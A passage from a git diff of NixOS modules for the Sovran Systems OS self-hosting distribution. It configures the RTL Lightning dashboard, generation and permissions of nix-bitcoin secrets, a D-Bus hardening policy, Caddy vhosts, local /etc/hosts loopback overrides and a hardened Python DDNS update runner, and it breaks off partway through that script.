swapMacaroonPath = if cfg.nodes.lnd.loop then "${cfg.dataDir}/loop-macaroons" else "";
|
||||
boltzMacaroonPath = "";
|
||||
};
|
||||
settings = {
|
||||
userPersona = "OPERATOR";
|
||||
themeMode = if cfg.nightTheme then "NIGHT" else "DAY";
|
||||
themeColor = "PURPLE";
|
||||
channelBackupPath = "${cfg.dataDir}/backup";
|
||||
logLevel = "INFO";
|
||||
lnServerUrl = "https://${lnd.restAddress}:${toString lnd.restPort}";
|
||||
swapServerUrl = if cfg.nodes.lnd.loop then "https://127.0.0.1:8081" else "";
|
||||
boltzServerUrl = "";
|
||||
fiatConversion = cfg.extraCurrency != null;
|
||||
unannouncedChannels = true;
|
||||
} // optionalAttrs (cfg.extraCurrency != null) {
|
||||
currencyUnit = cfg.extraCurrency;
|
||||
};
|
||||
}) ++ optional cfg.nodes.clightning.enable {
|
||||
index = 2;
|
||||
lnNode = "clightning";
|
||||
lnImplementation = "CLN";
|
||||
authentication = {
|
||||
runePath = runePath;
|
||||
};
|
||||
settings = {
|
||||
userPersona = "OPERATOR";
|
||||
themeMode = if cfg.nightTheme then "NIGHT" else "DAY";
|
||||
themeColor = "PURPLE";
|
||||
logLevel = "INFO";
|
||||
fiatConversion = cfg.extraCurrency != null;
|
||||
} // optionalAttrs (cfg.extraCurrency != null) {
|
||||
currencyUnit = cfg.extraCurrency;
|
||||
};
|
||||
};
|
||||
};
|
||||
|
||||
configFile = builtins.toFile "config" (builtins.toJSON rtlConfig);
|
||||
|
||||
inherit (config.services)
|
||||
bitcoind
|
||||
lnd;
|
||||
|
||||
lndLoopEnabled = cfg.nodes.lnd.enable && cfg.nodes.lnd.loop;
|
||||
in {
|
||||
inherit options;
|
||||
|
||||
config = mkIf cfg.enable {
|
||||
assertions = [
|
||||
{ assertion = cfg.nodes.lnd.enable;
|
||||
message = ''
|
||||
RTL: At least one node must be enabled. Sovran supports LND only.
|
||||
'';
|
||||
}
|
||||
{ assertion = !cfg.nodes.clightning.enable;
|
||||
message = ''
|
||||
RTL: Core Lightning (clightning) is not supported in Sovran. Use LND instead.
|
||||
'';
|
||||
}
|
||||
];
|
||||
|
||||
services.lnd.enable = mkIf cfg.nodes.lnd.enable true;
|
||||
|
||||
systemd.tmpfiles.rules = [
|
||||
"d '${cfg.dataDir}' 0770 ${cfg.user} ${cfg.group} - -"
|
||||
];
|
||||
|
||||
services.rtl.tor.enforce = mkIf (cfg.extraCurrency != null) false;
|
||||
|
||||
systemd.services.rtl = rec {
|
||||
wantedBy = [ "multi-user.target" ];
|
||||
wants = optional cfg.nodes.lnd.enable "lnd.service";
|
||||
after = wants ++ [ "nix-bitcoin-secrets.target" ];
|
||||
environment.RTL_CONFIG_PATH = cfg.dataDir;
|
||||
environment.DB_DIRECTORY_PATH = cfg.dataDir;
|
||||
serviceConfig = nbLib.defaultHardening // {
|
||||
ExecStartPre = [
|
||||
(nbLib.script "rtl-setup-config" ''
|
||||
<${configFile} sed "s|@multiPass@|$(cat ${secretsDir}/rtl-password)|" \
|
||||
> '${cfg.dataDir}/RTL-Config.json'
|
||||
'')
|
||||
]
|
||||
++ optional cfg.nodes.lnd.enable
|
||||
# The lnd admin macaroon is not readable by group `lnd`, so copy it
|
||||
(nbLib.rootScript "rtl-copy-macaroon" ''
|
||||
install --compare -m 640 -o ${cfg.user} -g ${cfg.group} -D ${lnd.networkDir}/admin.macaroon \
|
||||
'${cfg.dataDir}/macaroons/admin.macaroon'
|
||||
'');
|
||||
ExecStart = "${rtlPackage}/bin/rtl";
|
||||
# Show "rtl" instead of "node" in the journal
|
||||
SyslogIdentifier = "rtl";
|
||||
User = cfg.user;
|
||||
Restart = "on-failure";
|
||||
RestartSec = "10s";
|
||||
ReadWritePaths = [ cfg.dataDir ];
|
||||
} // nbLib.allowedIPAddresses cfg.tor.enforce
|
||||
// nbLib.nodejs;
|
||||
};
|
||||
|
||||
users.users.${cfg.user} = {
|
||||
isSystemUser = true;
|
||||
group = cfg.group;
|
||||
extraGroups = optional lndLoopEnabled lnd.group;
|
||||
};
|
||||
users.groups.${cfg.group} = {};
|
||||
|
||||
nix-bitcoin.secrets.rtl-password.user = cfg.user;
|
||||
nix-bitcoin.generateSecretsCmds.rtl = ''
|
||||
makePasswordSecret rtl-password
|
||||
'';
|
||||
};
|
||||
}
|
||||
@@ -0,0 +1,235 @@
|
||||
{ config, pkgs, lib, ... }:
|
||||
|
||||
with lib;
|
||||
let
|
||||
options.nix-bitcoin = {
|
||||
secretsDir = mkOption {
|
||||
type = types.path;
|
||||
default = "/etc/nix-bitcoin-secrets";
|
||||
description = "Directory to store secrets";
|
||||
};
|
||||
|
||||
setupSecrets = mkOption {
|
||||
type = types.bool;
|
||||
default = false;
|
||||
description = ''
|
||||
Set permissions for existing secrets in {option}`nix-bitcoin.secretsDir`
|
||||
before services are started.
|
||||
'';
|
||||
};
|
||||
|
||||
generateSecrets = mkOption {
|
||||
type = types.bool;
|
||||
default = false;
|
||||
description = ''
|
||||
Automatically generate all required secrets before services are started.
|
||||
Note: Make sure to create a backup of the generated secrets.
|
||||
'';
|
||||
};
|
||||
|
||||
generateSecretsCmds = mkOption {
|
||||
type = types.attrsOf types.lines;
|
||||
default = {};
|
||||
description = ''
|
||||
Bash expressions for generating secrets.
|
||||
'';
|
||||
};
|
||||
|
||||
# Currently, this is used only by ../deployment/nixops.nix
|
||||
deployment.secretsDir = mkOption {
|
||||
type = types.path;
|
||||
description = ''
|
||||
Directory of local secrets that are transferred to the nix-bitcoin node on deployment
|
||||
'';
|
||||
};
|
||||
|
||||
secrets = mkOption {
|
||||
default = {};
|
||||
type = with types; attrsOf (submodule (
|
||||
{ config, ... }: {
|
||||
options = {
|
||||
user = mkOption {
|
||||
type = str;
|
||||
default = "root";
|
||||
};
|
||||
group = mkOption {
|
||||
type = str;
|
||||
default = config.user;
|
||||
};
|
||||
permissions = mkOption {
|
||||
type = str;
|
||||
default = "440";
|
||||
};
|
||||
};
|
||||
}
|
||||
));
|
||||
};
|
||||
|
||||
secretsSetupMethod = mkOption {
|
||||
type = with types; nullOr str;
|
||||
default = null;
|
||||
};
|
||||
|
||||
generateSecretsScript = mkOption {
|
||||
internal = true;
|
||||
default = let
|
||||
rpcauthSrc = pkgs.fetchurl {
|
||||
url = "https://raw.githubusercontent.com/bitcoin/bitcoin/d6cde007db9d3e6ee93bd98a9bbfdce9bfa9b15b/share/rpcauth/rpcauth.py";
|
||||
sha256 = "189mpplam6yzizssrgiyv70c9899ggh8cac76j4n7v0xqzfip07n";
|
||||
};
|
||||
rpcauth = pkgs.writers.writeBash "rpcauth" ''
|
||||
exec ${pkgs.python3}/bin/python ${rpcauthSrc} "$@"
|
||||
'';
|
||||
# Writes secrets to PWD
|
||||
in pkgs.writers.writeBash "generate-secrets" ''
|
||||
set -euo pipefail
|
||||
|
||||
export PATH=${lib.makeBinPath (with pkgs; [ coreutils gnugrep ])}
|
||||
|
||||
makePasswordSecret() {
|
||||
# Passwords have alphabet {a-z, A-Z, 0-9} and ~119 bits of entropy
|
||||
[[ -e $1 ]] || ${pkgs.pwgen}/bin/pwgen -s 20 1 > "$1"
|
||||
}
|
||||
makeBitcoinRPCPassword() {
|
||||
user=$1
|
||||
file=bitcoin-rpcpassword-$user
|
||||
HMACfile=bitcoin-HMAC-$user
|
||||
makePasswordSecret "$file"
|
||||
if [[ $file -nt $HMACfile ]]; then
|
||||
${rpcauth} $user $(cat "$file") | grep rpcauth | cut -d ':' -f 2 > "$HMACfile"
|
||||
fi
|
||||
}
|
||||
makeCert() {
|
||||
name=$1
|
||||
# Add leading comma if not empty
|
||||
extraAltNames=''${2:+,}''${2:-}
|
||||
if [[ ! -e $name-key ]]; then
|
||||
# Create new key and cert
|
||||
doMakeCert "-newkey ec -pkeyopt ec_paramgen_curve:prime256v1 -nodes -keyout $name-key"
|
||||
elif [[ ! -e $name-cert \
|
||||
|| $(cat "$name-cert-alt-names" 2>/dev/null) != $extraAltNames ]]; then
|
||||
# Create cert from existing key
|
||||
doMakeCert "-key $name-key"
|
||||
fi;
|
||||
}
|
||||
doMakeCert() {
|
||||
# This fn uses global variables `name` and `extraAltNames`
|
||||
keyOpts=$1
|
||||
${pkgs.openssl}/bin/openssl req -x509 \
|
||||
-sha256 -days 3650 $keyOpts -out "$name-cert" \
|
||||
-subj "/CN=localhost/O=$name" \
|
||||
-addext "subjectAltName=DNS:localhost,IP:127.0.0.1$extraAltNames"
|
||||
echo "$extraAltNames" > "$name-cert-alt-names"
|
||||
}
|
||||
|
||||
umask u=rw,go=
|
||||
${builtins.concatStringsSep "\n" (builtins.attrValues cfg.generateSecretsCmds)}
|
||||
'';
|
||||
};
|
||||
};
|
||||
|
||||
cfg = config.nix-bitcoin;
|
||||
in {
|
||||
inherit options;
|
||||
|
||||
config = {
|
||||
assertions = [
|
||||
{ assertion = cfg.secretsSetupMethod != null;
|
||||
message = ''
|
||||
No secrets setup method has been defined.
|
||||
To fix this, choose one of the following:
|
||||
|
||||
- Use one of the deployment methods in ${toString ./../deployment}
|
||||
|
||||
- Set `nix-bitcoin.generateSecrets = true` to automatically generate secrets
|
||||
|
||||
- Set `nix-bitcoin.secretsSetupMethod = "manual"` if you want to manually setup secrets
|
||||
'';
|
||||
}
|
||||
];
|
||||
|
||||
# This target is active when secrets have been setup successfully.
|
||||
systemd.targets.nix-bitcoin-secrets = mkIf (cfg.secretsSetupMethod != "manual") {
|
||||
# This ensures that the secrets target is always activated when switching
|
||||
# configurations.
|
||||
# In this way `switch-to-configuration` is guaranteed to show an error
|
||||
# when activating the secrets target fails on deployment.
|
||||
wantedBy = [ "multi-user.target" ];
|
||||
};
|
||||
|
||||
nix-bitcoin.setupSecrets = mkIf cfg.generateSecrets true;
|
||||
|
||||
nix-bitcoin.secretsSetupMethod = mkIf cfg.setupSecrets "setup-secrets";
|
||||
|
||||
# Operation of this service:
|
||||
# - Set owner and permissions for all used secrets
|
||||
# - Make all other secrets accessible to root only
|
||||
# For all steps make sure that no secrets are copied to the nix store.
|
||||
#
|
||||
systemd.services.setup-secrets = mkIf cfg.setupSecrets {
|
||||
requiredBy = [ "nix-bitcoin-secrets.target" ];
|
||||
before = [ "nix-bitcoin-secrets.target" ];
|
||||
serviceConfig = {
|
||||
Type = "oneshot";
|
||||
RemainAfterExit = true;
|
||||
};
|
||||
script = ''
|
||||
# Use the same sort order for globbing and sorting as in Nix attrsets.
|
||||
# Required for `comm` below.
|
||||
export LC_COLLATE=C
|
||||
|
||||
${optionalString cfg.generateSecrets ''
|
||||
mkdir -p "${cfg.secretsDir}"
|
||||
cd "${cfg.secretsDir}"
|
||||
chown root: .
|
||||
chmod 0700 .
|
||||
${cfg.generateSecretsScript}
|
||||
''}
|
||||
|
||||
setupSecret() {
|
||||
file="$1"
|
||||
user="$2"
|
||||
group="$3"
|
||||
permissions="$4"
|
||||
if [[ ! -e $file ]]; then
|
||||
echo "Error: Secret file '$file' is missing"
|
||||
exit 1
|
||||
fi
|
||||
chown "$user:$group" "$file"
|
||||
chmod "$permissions" "$file"
|
||||
processedFiles+=("$file")
|
||||
}
|
||||
|
||||
dir="${cfg.secretsDir}"
|
||||
if [[ ! -e $dir ]]; then
|
||||
echo "Error: Secrets dir '$dir' is missing"
|
||||
exit 1
|
||||
fi
|
||||
chown root: "$dir"
|
||||
cd "$dir"
|
||||
|
||||
processedFiles=()
|
||||
${
|
||||
concatStrings (mapAttrsToList (n: v: ''
|
||||
setupSecret ${n} ${v.user} ${v.group} ${v.permissions}
|
||||
'') cfg.secrets)
|
||||
}
|
||||
|
||||
# Make all other files accessible to root only
|
||||
unprocessedFiles=$(
|
||||
comm -23 <(shopt -s nullglob; printf '%s\n' *) <(printf '%s\n' "''${processedFiles[@]}")
|
||||
)
|
||||
if [[ $unprocessedFiles ]]; then
|
||||
IFS=$'\n'
|
||||
# shellcheck disable=SC2086
|
||||
chown root: $unprocessedFiles
|
||||
# shellcheck disable=SC2086
|
||||
chmod 0440 $unprocessedFiles
|
||||
fi
|
||||
|
||||
# Now make the secrets dir accessible to other users
|
||||
chmod 0751 "$dir"
|
||||
'';
|
||||
};
|
||||
};
|
||||
}
|
||||
@@ -0,0 +1,48 @@
|
||||
{ config, lib, pkgs, ... }:
|
||||
|
||||
with lib;
|
||||
{
|
||||
options = {
|
||||
nix-bitcoin.security.dbusHideProcessInformation = mkOption {
|
||||
type = types.bool;
|
||||
default = false;
|
||||
description = ''
|
||||
Only allow users with group `proc` to retrieve systemd unit information like
|
||||
cgroup paths (i.e. (sub)process command lines) via D-Bus.
|
||||
|
||||
This mitigates a systemd security issue where (sub)process command lines can
|
||||
be retrieved by services even when their access to /proc is restricted
|
||||
(via ProtectProc).
|
||||
|
||||
This option works by restricting the D-Bus method `GetUnitProcesses`, which
|
||||
is also used internally by {command}`systemctl status`.
|
||||
'';
|
||||
};
|
||||
};
|
||||
|
||||
config = mkIf config.nix-bitcoin.security.dbusHideProcessInformation {
|
||||
users.groups.proc = {};
|
||||
nix-bitcoin.operator.groups = [ "proc" ]; # Enable operator access to systemd-status
|
||||
|
||||
services.dbus.packages = lib.mkAfter [ # Apply at the end to override the default policy
|
||||
(pkgs.writeTextDir "etc/dbus-1/system.d/dbus.conf" ''
|
||||
<busconfig>
|
||||
<policy context="default">
|
||||
<deny
|
||||
send_destination="org.freedesktop.systemd1"
|
||||
send_interface="org.freedesktop.systemd1.Manager"
|
||||
send_member="GetUnitProcesses"
|
||||
/>
|
||||
</policy>
|
||||
<policy group="proc">
|
||||
<allow
|
||||
send_destination="org.freedesktop.systemd1"
|
||||
send_interface="org.freedesktop.systemd1.Manager"
|
||||
send_member="GetUnitProcesses"
|
||||
/>
|
||||
</policy>
|
||||
</busconfig>
|
||||
'')
|
||||
];
|
||||
};
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
{ config, lib, ... }:
|
||||
with lib;
|
||||
let
|
||||
options.nix-bitcoin.configVersion = mkOption {
|
||||
type = with types; nullOr str;
|
||||
default = null;
|
||||
description = "Vendored stub — no version migration needed.";
|
||||
};
|
||||
in {
|
||||
inherit options;
|
||||
config = {};
|
||||
}
|
||||
@@ -68,6 +68,7 @@ lib.mkIf config.sovran_systemsOS.services.bitcoin {
|
||||
name = "free";
|
||||
};
|
||||
|
||||
# vendored: now no-op (always uses nixpkgs)
|
||||
nix-bitcoin.useVersionLockedPkgs = false;
|
||||
|
||||
systemd.services.bitcoind = {
|
||||
|
||||
+24
-5
@@ -12,11 +12,15 @@ let
|
||||
|| config.sovran_systemsOS.services.nextcloud
|
||||
|| config.sovran_systemsOS.services.vaultwarden
|
||||
|| config.sovran_systemsOS.features.haven
|
||||
|| config.sovran_systemsOS.features."nwc-wallets"
|
||||
|| config.sovran_systemsOS.features.element-calling;
|
||||
in
|
||||
{
|
||||
services.caddy = {
|
||||
enable = true;
|
||||
# Only enable Caddy when at least one domain-based service needs it or
|
||||
# the operator has defined custom vhosts. This prevents Caddy from
|
||||
# running on Desktop Only installs that have no web services configured.
|
||||
enable = needsHttpsPorts || extraVhosts != "";
|
||||
user = "caddy";
|
||||
group = "root";
|
||||
};
|
||||
@@ -67,6 +71,7 @@ in
|
||||
BTCPAY=$(read_domain btcpayserver)
|
||||
VAULTWARDEN=$(read_domain vaultwarden)
|
||||
HAVEN=$(read_domain haven)
|
||||
LIGHTNING=$(read_domain lightning)
|
||||
ACME_EMAIL=$(read_domain sslemail)
|
||||
|
||||
# Start with global config — use ACME only when domain-based services are active
|
||||
@@ -94,10 +99,10 @@ EOF
|
||||
$MATRIX {
|
||||
reverse_proxy /_matrix/* http://localhost:8008
|
||||
reverse_proxy /_synapse/client/* http://localhost:8008
|
||||
}
|
||||
|
||||
$MATRIX:8448 {
|
||||
reverse_proxy http://localhost:8008
|
||||
handle /.well-known/matrix/server {
|
||||
header Content-Type application/json
|
||||
respond \`{"m.server":"$MATRIX:443"}\` 200
|
||||
}
|
||||
}
|
||||
EOF
|
||||
fi
|
||||
@@ -183,6 +188,20 @@ $HAVEN {
|
||||
EOF
|
||||
fi
|
||||
|
||||
# ── Lightning Wallet Connections LNURL ──────────────────────
|
||||
if [ -n "$LIGHTNING" ]; then
|
||||
cat >> /run/caddy/Caddyfile <<EOF
|
||||
|
||||
$LIGHTNING {
|
||||
# LNURL discovery and callback are served by the dedicated
|
||||
# nwc-lnurl service on loopback port 8181. Only these paths
|
||||
# are proxied; the Alby Hub management port (18080) is never exposed.
|
||||
reverse_proxy /.well-known/lnurlp/* http://127.0.0.1:8181
|
||||
reverse_proxy /lnurlp/* http://127.0.0.1:8181
|
||||
}
|
||||
EOF
|
||||
fi
|
||||
|
||||
# ── Sovran Hub (LAN access via mDNS) ────────────
|
||||
cat >> /run/caddy/Caddyfile <<EOF
|
||||
|
||||
|
||||
@@ -0,0 +1,171 @@
|
||||
{ config, pkgs, lib, ... }:
|
||||
|
||||
# ── Server-local domain loopback overrides ────────────────────────────────────
|
||||
#
|
||||
# Some routers (especially newer ISP-provided devices) do not support NAT
|
||||
# loopback (hairpin NAT). When a request originates on this computer and
|
||||
# targets a public domain name that resolves to the router's WAN address, the
|
||||
# router may refuse to loop the connection back in — causing Nextcloud, WordPress
|
||||
# background jobs, and other server-side callbacks to fail even when the service
|
||||
# is fully operational from the internet.
|
||||
#
|
||||
# This module installs a one-shot systemd service,
|
||||
# ``sovran-hosts-update.service``, that reads the configured service domains
|
||||
# from ``/var/lib/domains/`` at boot (and whenever triggered by the Hub after a
|
||||
# domain is saved) and writes ``127.0.0.1`` entries for them into a dedicated
|
||||
# Sovran-managed block in ``/etc/hosts``.
|
||||
#
|
||||
# With those entries in place:
|
||||
# • Requests originating on this computer resolve the public domain name to
|
||||
# 127.0.0.1, reach Caddy directly, and never touch the router.
|
||||
# • Caddy still receives the correct public hostname via TLS SNI so virtual-
|
||||
# host routing and certificate validation continue to work.
|
||||
# • The Sovran Hub can verify Caddy reachability locally without needing NAT
|
||||
# loopback.
|
||||
#
|
||||
# Limitation: this does not help other devices on your home network (phones,
|
||||
# laptops). Those devices resolve domains via the router's DNS and still depend
|
||||
# on NAT loopback (or require manual router DNS overrides). For now, only
|
||||
# server-originated requests benefit from this override.
|
||||
#
|
||||
# On NixOS, /etc/hosts is normally a symlink into the Nix store and is
|
||||
# regenerated by the system activation script. The ``system.activationScripts``
|
||||
# hook below converts it to a writable file each time the system is activated
|
||||
# (i.e. after every ``nixos-rebuild switch``) and then injects the Sovran block.
|
||||
# The same wrapped Nix-store executable is reused by both the activation hook
|
||||
# and the ``sovran-hosts-update.service`` unit, ensuring a deterministic runtime
|
||||
# PATH in every execution context.
|
||||
|
||||
let
|
||||
# ── Wrapped Nix-store executable ──────────────────────────────────────────
|
||||
# Built with pkgs.writeShellApplication so that all required runtime tools
|
||||
# (awk, grep, coreutils) are declared explicitly and injected into PATH by
|
||||
# Nix. Both the systemd service and the activation hook reference this same
|
||||
# store-path executable — there is no second raw script body.
|
||||
hostsUpdateScript = pkgs.writeShellApplication {
|
||||
name = "sovran-hosts-update";
|
||||
|
||||
# Declare every external command the script calls. These packages are
|
||||
# added to the script's runtime PATH by writeShellApplication; nothing from
|
||||
# the system PATH is relied upon.
|
||||
runtimeInputs = [
|
||||
pkgs.coreutils # readlink, cp, mv, chmod, mktemp, rm, tr, head
|
||||
pkgs.gawk # awk
|
||||
pkgs.gnugrep # grep
|
||||
];
|
||||
|
||||
text = ''
|
||||
# Regenerate the Sovran-managed loopback block in /etc/hosts.
|
||||
# Safe to run multiple times — idempotent.
|
||||
|
||||
DOMAINS_DIR="/var/lib/domains"
|
||||
HOSTS_FILE="/etc/hosts"
|
||||
BEGIN_MARKER="# Sovran managed begin — server-local loopback overrides"
|
||||
END_MARKER="# Sovran managed end"
|
||||
|
||||
# ── Step 1: ensure /etc/hosts is a regular writable file ──────────────
|
||||
# On NixOS /etc/hosts starts as a symlink to the Nix store. We replace
|
||||
# it with a copy so we can append our block without touching the store.
|
||||
if [ -L "$HOSTS_FILE" ]; then
|
||||
TARGET=$(readlink -f "$HOSTS_FILE")
|
||||
cp --no-preserve=all "$TARGET" "$HOSTS_FILE.sovran-tmp"
|
||||
mv "$HOSTS_FILE.sovran-tmp" "$HOSTS_FILE"
|
||||
chmod 644 "$HOSTS_FILE"
|
||||
fi
|
||||
|
||||
# ── Step 2: remove any existing Sovran block ──────────────────────────
|
||||
# Use a temp file so the operation is atomic.
|
||||
# awk -v passes marker strings safely without shell interpolation.
|
||||
TMP=$(mktemp "$HOSTS_FILE.XXXXXX")
|
||||
trap 'rm -f "$TMP"' EXIT
|
||||
awk -v begin="$BEGIN_MARKER" -v end="$END_MARKER" '
|
||||
$0 == begin { skip=1; next }
|
||||
$0 == end { skip=0; next }
|
||||
!skip
|
||||
' "$HOSTS_FILE" > "$TMP"
|
||||
|
||||
# ── Step 3: collect valid configured service domains ──────────────────
|
||||
# NOTE: The hostname validation regex below must stay in sync with
|
||||
# _SAFE_DOMAIN_RE in app/sovran_systemsos_web/server.py.
|
||||
ENTRIES=""
|
||||
for KEY in matrix wordpress nextcloud btcpayserver vaultwarden haven element-calling lightning; do
|
||||
FILE="$DOMAINS_DIR/$KEY"
|
||||
[ -f "$FILE" ] || continue
|
||||
# Read the domain value (strip all whitespace, limit to 253 chars)
|
||||
DOMAIN=$(tr -d '[:space:]' < "$FILE" | head -c 253)
|
||||
[ -z "$DOMAIN" ] && continue
|
||||
# Validate: must match a reasonable hostname pattern (no injection)
|
||||
if ! printf '%s' "$DOMAIN" | grep -qE \
|
||||
'^[a-zA-Z0-9]([a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(\.[a-zA-Z0-9]([a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)+$'; then
|
||||
echo "sovran-hosts-update: skipping invalid domain value for $KEY: $DOMAIN" >&2
|
||||
continue
|
||||
fi
|
||||
ENTRIES="$ENTRIES
|
||||
127.0.0.1 $DOMAIN
|
||||
::1 $DOMAIN"
|
||||
done
|
||||
|
||||
# ── Step 4: append the Sovran block if there are any entries ──────────
|
||||
if [ -n "$ENTRIES" ]; then
|
||||
{
|
||||
printf '\n%s\n' "$BEGIN_MARKER"
|
||||
printf '%s\n' "# These entries route configured service domains to local Caddy."
|
||||
printf '%s\n' "# They are managed automatically — do not edit this block."
|
||||
printf '%s\n' "$ENTRIES"
|
||||
printf '%s\n' "$END_MARKER"
|
||||
} >> "$TMP"
|
||||
fi
|
||||
|
||||
# ── Step 5: atomically replace /etc/hosts ─────────────────────────────
|
||||
mv "$TMP" "$HOSTS_FILE"
|
||||
chmod 644 "$HOSTS_FILE"
|
||||
'';
|
||||
};
|
||||
|
||||
in
|
||||
{
|
||||
# ── /etc/sovran-hosts-update.sh — operator discoverability symlink ─────────
|
||||
# Retain the familiar /etc path so administrators can inspect or manually
|
||||
# invoke the helper. The target is the wrapped Nix-store executable, so
|
||||
# there is no second raw script body to keep in sync.
|
||||
environment.etc."sovran-hosts-update.sh".source = lib.getExe hostsUpdateScript;
|
||||
|
||||
# ── Systemd service ────────────────────────────────────────────────────────
|
||||
|
||||
systemd.services.sovran-hosts-update = {
|
||||
description = "Update /etc/hosts with Sovran server-local loopback overrides";
|
||||
documentation = [ "https://github.com/naturallaw777/sovran-systems" ];
|
||||
|
||||
# Run before Caddy so loopback entries are ready when it starts.
|
||||
before = [
|
||||
"caddy.service"
|
||||
"network-online.target"
|
||||
];
|
||||
wantedBy = [ "multi-user.target" ];
|
||||
|
||||
serviceConfig = {
|
||||
Type = "oneshot";
|
||||
RemainAfterExit = true;
|
||||
# Point directly at the wrapped Nix-store executable, not the /etc path.
|
||||
ExecStart = lib.getExe hostsUpdateScript;
|
||||
};
|
||||
};
|
||||
|
||||
# ── Activation script (runs after every nixos-rebuild switch) ─────────────
|
||||
# This ensures the loopback block survives rebuilds that restore the /etc/hosts
|
||||
# symlink. The "users" and "etc" scripts must complete first.
|
||||
# The same wrapped Nix-store executable used by the systemd service is
|
||||
# referenced here, guaranteeing identical runtime dependencies in both
|
||||
# execution contexts.
|
||||
|
||||
system.activationScripts.sovranDomainLoopback = {
|
||||
text = ''
|
||||
if [ -d /var/lib/domains ]; then
|
||||
if ! ${lib.getExe hostsUpdateScript}; then
|
||||
echo "warning: sovran-hosts-update: failed to update /etc/hosts loopback entries" >&2
|
||||
fi
|
||||
fi
|
||||
'';
|
||||
deps = [ "etc" "users" ];
|
||||
};
|
||||
}
|
||||
+116
-24
@@ -1,32 +1,124 @@
|
||||
{ config, pkgs, lib, ... }:
|
||||
|
||||
{
|
||||
# ── Ensure njalla directory and base script exist on every build ──
|
||||
# ── Ensure njalla directory exists on every build ────────────────────────
|
||||
systemd.tmpfiles.rules = [
|
||||
"d /var/lib/njalla 0750 root root -"
|
||||
];
|
||||
|
||||
# ── Create base njalla.sh if it doesn't exist yet ────────────
|
||||
systemd.services.njalla-init = {
|
||||
description = "Initialize Njal.la DDNS script if missing";
|
||||
wantedBy = [ "multi-user.target" ];
|
||||
serviceConfig = {
|
||||
Type = "oneshot";
|
||||
RemainAfterExit = true;
|
||||
};
|
||||
unitConfig = {
|
||||
ConditionPathExists = "!/var/lib/njalla/njalla.sh";
|
||||
};
|
||||
script = ''
|
||||
cat > /var/lib/njalla/njalla.sh <<'SCRIPT'
|
||||
#!/usr/bin/env bash
|
||||
IP=$(dig @resolver4.opendns.com myip.opendns.com +short -4)
|
||||
|
||||
## Add DDNS entries below — one curl per line
|
||||
## Managed via Sovran Hub web interface
|
||||
SCRIPT
|
||||
|
||||
chmod 700 /var/lib/njalla/njalla.sh
|
||||
'';
|
||||
# ── Install the shared validation helper so the DDNS runner can import it ─
|
||||
# The exact same _validate_ddns_url() function used by the Hub web application
|
||||
# is installed here as a read-only system file. The DDNS runner imports it
|
||||
# directly so the two code paths share one validator — no weaker inline copy.
|
||||
environment.etc."sovran/security_helpers.py" = {
|
||||
source = ../../app/sovran_systemsos_web/security_helpers.py;
|
||||
mode = "0444";
|
||||
user = "root";
|
||||
group = "root";
|
||||
};
|
||||
}
|
||||
|
||||
# ── Safe DDNS update service ─────────────────────────────────────────────
|
||||
# Reads DDNS update URLs from the JSON store written by the Hub API and
|
||||
# invokes curl directly — no shell interpolation, no script execution.
|
||||
# Replaces the legacy root cron job that ran /var/lib/njalla/njalla.sh.
|
||||
systemd.services.sovran-ddns-update = {
|
||||
description = "Sovran Njal.la DDNS update (safe JSON-based runner)";
|
||||
wants = [ "network-online.target" ];
|
||||
after = [ "network-online.target" ];
|
||||
serviceConfig = {
|
||||
Type = "oneshot";
|
||||
User = "root";
|
||||
ExecStart = "${pkgs.python3}/bin/python3 /var/lib/sovran/ddns-update.py";
|
||||
# Harden the service — it only needs network access and read access to
|
||||
# /var/lib/njalla/ddns_urls.json.
|
||||
NoNewPrivileges = true;
|
||||
ProtectSystem = "strict";
|
||||
ReadWritePaths = [ "/var/lib/njalla" ];
|
||||
ReadOnlyPaths = [ "/etc/sovran" ];
|
||||
ProtectHome = true;
|
||||
PrivateTmp = true;
|
||||
RestrictAddressFamilies = [ "AF_INET" "AF_INET6" ];
|
||||
};
|
||||
};
|
||||
|
||||
# Run the update every 15 minutes
|
||||
systemd.timers.sovran-ddns-update = {
|
||||
description = "Sovran Njal.la DDNS update timer";
|
||||
wantedBy = [ "timers.target" ];
|
||||
timerConfig = {
|
||||
OnBootSec = "2min";
|
||||
OnUnitActiveSec = "15min";
|
||||
Persistent = true;
|
||||
};
|
||||
};
|
||||
|
||||
# Install the Python runner script at build time so the service can find it.
|
||||
# The script is owned by root and not world-writable.
|
||||
# Uses _validate_ddns_url() from /etc/sovran/security_helpers.py — the same
|
||||
# production validator used by the Hub API — before executing any curl call.
|
||||
# No shell is used; no redirects; no script execution.
|
||||
# ${IP} placeholder is preserved in stored URLs and substituted at runtime;
|
||||
# the URL is validated after substitution so any remaining $ is rejected.
|
||||
system.activationScripts.sovran-ddns-update-script = ''
|
||||
install -d -m 0755 /var/lib/sovran
|
||||
cat > /var/lib/sovran/ddns-update.py <<'PYEOF'
|
||||
#!/usr/bin/env python3
|
||||
"""Sovran safe DDNS update runner.
|
||||
|
||||
Reads ddns_urls.json, substitutes the public IP for the ''${IP} placeholder,
|
||||
validates each URL using the production _validate_ddns_url() from
|
||||
/etc/sovran/security_helpers.py, then calls curl per URL.
|
||||
No shell interpolation. No redirects. No script execution.
|
||||
"""
|
||||
import ipaddress, json, os, subprocess, sys
|
||||
|
||||
sys.path.insert(0, '/etc/sovran')
|
||||
try:
|
||||
from security_helpers import _validate_ddns_url
|
||||
except ImportError:
|
||||
sys.exit(1) # validator missing — fail so systemd logs the misconfiguration
|
||||
|
||||
URLS_FILE = "/var/lib/njalla/ddns_urls.json"
|
||||
|
||||
try:
|
||||
with open(URLS_FILE) as f:
|
||||
urls = json.load(f)
|
||||
if not isinstance(urls, list):
|
||||
raise ValueError("not a list")
|
||||
except Exception:
|
||||
sys.exit(0) # no URLs configured — nothing to do
|
||||
|
||||
# Resolve current public IP once
|
||||
public_ip = ""
|
||||
try:
|
||||
r = subprocess.run(
|
||||
["dig", "@resolver4.opendns.com", "myip.opendns.com", "+short", "-4"],
|
||||
capture_output=True, text=True, timeout=10,
|
||||
)
|
||||
raw = r.stdout.strip().splitlines()[0] if r.stdout.strip() else ""
|
||||
ipaddress.ip_address(raw) # validates — raises if not a real IP
|
||||
public_ip = raw
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
if not public_ip:
|
||||
sys.exit(0) # no IP resolved — skip to avoid sending bare ''${IP}
|
||||
|
||||
for raw_url in urls:
|
||||
try:
|
||||
# Substitute ''${IP} placeholder then validate through production validator.
|
||||
# After substitution there must be no $ left; _validate_ddns_url rejects
|
||||
